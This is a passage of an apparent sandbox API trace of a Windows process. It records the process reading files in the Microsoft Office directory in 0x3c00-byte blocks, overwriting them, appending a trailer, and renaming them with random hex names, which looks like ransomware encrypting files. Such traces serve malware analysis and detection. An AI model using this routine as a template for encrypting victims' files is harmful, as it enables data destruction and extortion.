RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x7c363dd9 [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x365bd2cd [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x12926afe [0119.460] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x706ce71c [0119.461] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x7640dea8 [0119.461] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x2d6ae94c [0119.461] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x18eb1955 [0119.461] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x626612c6 [0119.461] RtlRandomEx (in: Seed=0x3ee4f770 | out: Seed=0x3ee4f770) returned 0x31463d3b [0119.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860db0 [0119.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860d50 [0119.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0119.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4203d170 [0119.469] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.469] ReadFile (in: hFile=0x17b0, lpBuffer=0x4203d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ee4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4203d170*, lpNumberOfBytesRead=0x3ee4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.553] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0119.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0119.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20162d00 [0119.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0119.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0119.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.554] WriteFile (in: hFile=0x17b0, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ee4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x3ee4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0148.069] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.069] ReadFile (in: hFile=0x17b0, lpBuffer=0x4203d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ee4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4203d170*, lpNumberOfBytesRead=0x3ee4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.070] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0148.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0148.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0148.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6830) returned 1 [0148.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20162d00 [0148.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6830 [0148.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6770 [0148.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6770) returned 1 [0148.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0148.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0148.072] WriteFile (hFile=0x17b0, lpBuffer=0x20162d00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ee4f7e0, lpOverlapped=0x0) [0179.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0179.930] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x15d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.930] ReadFile (in: hFile=0x17b0, lpBuffer=0x4203d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ee4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4203d170*, lpNumberOfBytesRead=0x3ee4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.042] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x15d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eee0 [0182.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eee0) returned 1 [0182.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4302c580 [0182.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eee0 [0182.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef10 [0182.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef10) returned 1 [0182.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.045] WriteFile (in: hFile=0x17b0, lpBuffer=0x4302c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ee4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4302c580*, lpNumberOfBytesWritten=0x3ee4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4302c580) returned 1 [0198.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fad0 [0198.771] SetFilePointerEx (in: hFile=0x17b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.771] WriteFile (in: hFile=0x17b0, lpBuffer=0x431f50c0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3ee4f890, lpOverlapped=0x0 | out: lpBuffer=0x431f50c0*, lpNumberOfBytesWritten=0x3ee4f890*=0x14e, lpOverlapped=0x0) returned 1 [0203.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0203.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261af0) returned 1 [0203.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20261af0 [0203.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ce0 [0203.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e00 [0203.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e00) returned 1 [0203.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x420596a0 [0203.737] sprintf (in: _Dest=0x420596a0, _Format="%c%c" | out: _Dest="fe") returned 2 [0203.737] sprintf (in: _Dest=0x420596a2, _Format="%c%c" | out: _Dest="b8") returned 2 [0203.737] sprintf (in: _Dest=0x420596a4, _Format="%c%c" | out: _Dest="95") returned 2 [0203.737] sprintf (in: _Dest=0x420596a6, _Format="%c%c" | out: _Dest="86") returned 2 [0203.737] sprintf (in: _Dest=0x420596a8, _Format="%c%c" | out: _Dest="b9") returned 2 [0203.737] sprintf (in: _Dest=0x420596aa, _Format="%c%c" | out: _Dest="44") returned 2 [0203.737] sprintf (in: _Dest=0x420596ac, _Format="%c%c" | out: _Dest="98") returned 2 [0203.737] sprintf (in: _Dest=0x420596ae, _Format="%c%c" | out: _Dest="23") returned 2 [0203.737] sprintf (in: _Dest=0x420596b0, _Format="%c%c" | out: _Dest="92") returned 2 [0203.737] sprintf (in: _Dest=0x420596b2, _Format="%c%c" | out: _Dest="1d") returned 2 [0203.737] sprintf (in: _Dest=0x420596b4, _Format="%c%c" | out: _Dest="90") returned 2 [0203.737] sprintf (in: _Dest=0x420596b6, _Format="%c%c" | out: _Dest="ee") returned 2 [0203.737] sprintf (in: _Dest=0x420596b8, _Format="%c%c" | out: _Dest="84") returned 2 [0203.737] sprintf (in: _Dest=0x420596ba, _Format="%c%c" | out: _Dest="53") returned 2 [0203.737] sprintf (in: _Dest=0x420596bc, _Format="%c%c" | out: _Dest="9e") returned 2 [0203.737] sprintf (in: _Dest=0x420596be, _Format="%c%c" | out: _Dest="68") returned 2 [0203.737] sprintf (in: _Dest=0x420596c0, _Format="%c%c" | out: _Dest="70") returned 2 [0203.737] sprintf (in: _Dest=0x420596c2, _Format="%c%c" | out: _Dest="9f") returned 2 [0203.737] sprintf (in: _Dest=0x420596c4, _Format="%c%c" | out: _Dest="0f") returned 2 [0203.737] sprintf (in: _Dest=0x420596c6, _Format="%c%c" | out: _Dest="b4") returned 2 [0203.737] sprintf (in: _Dest=0x420596c8, _Format="%c%c" | out: _Dest="9b") returned 2 [0203.737] sprintf (in: _Dest=0x420596ca, _Format="%c%c" | out: _Dest="84") returned 2 [0203.737] sprintf (in: _Dest=0x420596cc, _Format="%c%c" | out: _Dest="61") returned 2 [0203.737] sprintf (in: _Dest=0x420596ce, _Format="%c%c" | out: _Dest="bd") returned 2 [0203.737] sprintf (in: _Dest=0x420596d0, _Format="%c%c" | out: _Dest="da") returned 2 [0203.737] sprintf (in: _Dest=0x420596d2, _Format="%c%c" | out: _Dest="4b") returned 2 [0203.738] sprintf (in: _Dest=0x420596d4, _Format="%c%c" | out: _Dest="89") returned 2 [0203.738] sprintf (in: _Dest=0x420596d6, _Format="%c%c" | out: _Dest="9a") returned 2 [0203.738] RtlInitAnsiString (in: DestinationString=0x3ee4f908, SourceString="feb89586b9449823921d90ee84539e68709f0fb49b8461bdda4b899a" | out: DestinationString="feb89586b9449823921d90ee84539e68709f0fb49b8461bdda4b899a") [0203.738] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ee4f8d8, SourceString="feb89586b9449823921d90ee84539e68709f0fb49b8461bdda4b899a", AllocateDestinationString=1 | out: DestinationString="feb89586b9449823921d90ee84539e68709f0fb49b8461bdda4b899a") returned 0x0 [0203.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42307e80 [0203.739] wcscat (in: _Dest=0x431c4d60, _Source="feb89586b94498" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498" [0203.739] wcscat (in: _Dest=0x431c4d60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498.2f9b60" [0203.739] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498.2f9b60", NtPathName=0x3ee4f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\feb89586b94498.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4311b260 Thread: id = 1404 os_tid = 0x1844 [0119.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 0x20 [0119.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta", dwFileAttributes=0x20) returned 1 [0119.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1744 [0119.264] GetFileSizeEx (in: hFile=0x1744, lpFileSize=0x3ec5fd80 | out: lpFileSize=0x3ec5fd80*=362441) returned 1 [0119.264] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x587c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.264] ReadFile (in: hFile=0x1744, lpBuffer=0x3ec5fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ec5fd48, lpOverlapped=0x0 | out: lpBuffer=0x3ec5fd00*, lpNumberOfBytesRead=0x3ec5fd48*=0x4, lpOverlapped=0x0) returned 1 [0119.433] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611d0 [0119.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0119.433] NtQuerySystemTime (in: CurrentTime=0x3ec5fc40 | out: CurrentTime=0x3ec5fc40*=132462177248386000) returned 0x0 [0119.433] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x90fb197 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x546ce496 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x4bbe8be3 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x59d152a9 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0xdc72a1 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x1e739c28 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x6a4a4291 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x170117c2 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x731cdf38 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x3b1b4cd7 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x6ab809a5 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x67044f0f [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x4be2e6c7 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x18eb1955 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0xcdbd404 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x15491610 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x352abc80 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x6286167c [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x5ce58324 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x707ff071 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x7636a7e2 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0xdc72a1 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x336c1b63 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x6f42dd78 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x656f13db [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x1d6215be [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x6b420301 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x694845b0 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x1ba0b960 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x7a1f0b0b [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x1d806261 [0119.434] RtlRandomEx (in: Seed=0x3ec5fc30 | out: Seed=0x3ec5fc30) returned 0x61ec541c [0119.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860810 [0119.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860990 [0119.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0119.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42031d40 [0119.443] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.443] ReadFile (in: hFile=0x1744, lpBuffer=0x42031d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x42031d40*, lpNumberOfBytesRead=0x3ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0119.470] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0119.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0119.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202a520 [0119.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0119.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0119.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0119.471] WriteFile (in: hFile=0x1744, lpBuffer=0x4202a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x4202a520*, lpNumberOfBytesWritten=0x3ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202a520) returned 1 [0128.724] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.724] ReadFile (in: hFile=0x1744, lpBuffer=0x42031d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x42031d40*, lpNumberOfBytesRead=0x3ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.725] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0128.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab340 [0128.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab340) returned 1 [0128.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4202a520 [0128.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab340 [0128.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa680 [0128.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa680) returned 1 [0128.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.726] WriteFile (hFile=0x1744, lpBuffer=0x4202a520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ec5fca0, lpOverlapped=0x0) [0171.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202a520) returned 1 [0171.073] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x54bc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.073] ReadFile (in: hFile=0x1744, lpBuffer=0x42031d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x42031d40*, lpNumberOfBytesRead=0x3ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.235] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x54bc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3a0 [0171.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3a0) returned 1 [0171.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b9f0f0 [0171.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3a0 [0171.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d3d0 [0171.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3d0) returned 1 [0171.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.238] WriteFile (in: hFile=0x1744, lpBuffer=0x41b9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x41b9f0f0*, lpNumberOfBytesWritten=0x3ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b9f0f0) returned 1 [0187.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15680 [0187.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d3a0) returned 1 [0187.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab340) returned 1 [0187.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0187.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42031d40) returned 1 [0187.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5eab0 [0187.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0187.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861290) returned 1 [0187.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5eaf0 [0187.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0187.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x152) returned 0x133600 [0187.207] SetFilePointerEx (in: hFile=0x1744, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: 